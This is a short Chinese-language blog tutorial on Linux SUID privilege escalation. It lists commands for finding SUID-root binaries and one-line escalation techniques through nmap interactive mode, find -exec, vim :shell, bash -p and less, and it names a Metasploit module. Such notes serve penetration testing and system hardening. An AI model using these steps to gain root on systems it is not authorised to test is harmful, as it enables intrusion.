Linux的SUID提权

0x01 SUID

什么是suid?通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。

0x02 SUID提权

那么什么是suid提权呢?我理解的就是有个文件,它有s标志,并且他输入root,那么我们运行这个程序就可以有了root的权限,并且这个程序还得能执行命令,不然没什么用处,那么我们就能从普通用户提升到了root权限了。

0x03 常见的可用于suid提权的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Nmap

Vim

find

Bash

More

Less

Nano

cp

0x04 查找符合条件的文件

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

0x05 详细介绍

  • nmap
    老版的nmap(2.02-5.21)有相互的功能–interactive
    1
    2
    3
    nmap> !sh
    sh-3.2# whoami
    root

msf中也有相关的模块

1
exploit/unix/local/setuid_nmap

  • find

如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行。

1
2
touch test
find test -exec whoami \;

  • vim

如果vim以SUID运行,就会继承root用户的权限,可以读取系统中所有的文件

1
2
vim/vi
:shell
  • bash
1
2
bash -p
># id
  • less/more
1
2
less /etc/passwd
!/bin/sh

本文标题:Linux的SUID提权

文章作者:Pino-HD

发布时间:2018年06月10日 - 15:06

最后更新:2018年06月10日 - 15:06

原始链接:https://pino-hd.github.io/2018/06/10/Linux的SUID提权/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

坚持原创技术分享,您的支持将鼓励我继续创作!